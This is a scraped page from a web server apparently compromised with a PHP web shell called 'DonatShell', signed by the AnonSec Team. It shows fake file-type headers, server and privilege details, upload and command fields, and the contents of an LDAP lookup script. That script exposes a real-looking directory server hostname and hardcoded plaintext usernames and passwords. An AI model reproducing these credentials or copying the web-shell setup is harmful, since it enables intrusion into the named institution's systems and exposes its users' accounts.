GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/User/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/User/ldap_Netware.php
<?php
session_cache_limiter("private, must-revalidate");
session_start();
set_time_limit(500);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>NetWare LDAP</title>
</head>
<body>
<?

// basic sequence with LDAP is connect, bind, search, interpret search
// result, close connection

$searchstring="(objectclass=user)";
$attnames=array("dn","cn","surname","mail","groupmembership");

$server = "Kermit.ridgewater.edu"; //replace this with the DNS hostname or IP of your server !!!
$cn = "cn=Jim_M";
$pw = "arajim12";
//$cn = "cn=RiekeCla";
//$pw = "00006313";
$dn1 = ",ou=Student,o=HC";
$dn2 = ",ou=Staff,o=HC";

 $nds = ldap_connect($server,389);
 if($nds===FALSE) {
         die("Connect Error");
}
$current_error_reporting = ini_get("error_reporting");
//echo "error_reporting=$current_error_reporting<br>\n";

error_reporting(E_ERROR);
//echo "error_reporting=".ini_get("error_reporting")."<br>\n";

$sr = ldap_bind($nds, $cn.$dn1, $pw);
//echo "error_reporting=".ini_get("error_reporting")."<br>\n";

 if(!$sr){
$sr = ldap_bind($nds, $cn.$dn2, $pw);
//echo "error_reporting=".ini_get("error_reporting")."<br>\n";

 if(!$sr){
         echo("Bind Error: ");
         echo (ldap_error($nds) . "<br>");
				 echo "Not Logged on.";
         exit;
 }
 }

error_reporting($current_error_reporting);
 if($sr) echo "Logged on.";
 else echo "Not Logged on.";

 echo "Searching for (sn=S*) ...";
   // Search surname entry
	 $dn = "cn=Jim_M,ou=Staff,o=HC";
   $sr=ldap_search($nds, $dn, "sn=*");
   echo "Search result is " . $sr . "<br>";

   echo "Number of entires returned is " . ldap_count_entries($nds, $sr) . "<br>";

   echo "Getting entries ...<div>";
   $info = ldap_get_entries($nds, $sr);
   echo "Data for " . $info["count"] . " items returned:<div>";

   for ($i=0; $i<$info["count"]; $i++) {
       echo "dn is: " . $info[$i]["dn"] . "<br>";
       echo "first givenname entry is: " . $info[$i]["givenname"][0] . "<br>";
       echo "first sn entry is: " . $info[$i]["sn"][0] . "<br>";
       echo "first email entry is: " . $info[$i]["mail"][0] . "<br>";
       echo "first groupmembership entry is: " . $info[$i]["groupmembership"][0] . "<br>";
       echo "<hr />";
   }
print "<PRE>";
print_r($info);
print "</PRE>";
echo "Closing connection";
ldap_close($nds);

 ?>
</body>
</html>

Anon7 - 2022
AnonSec Team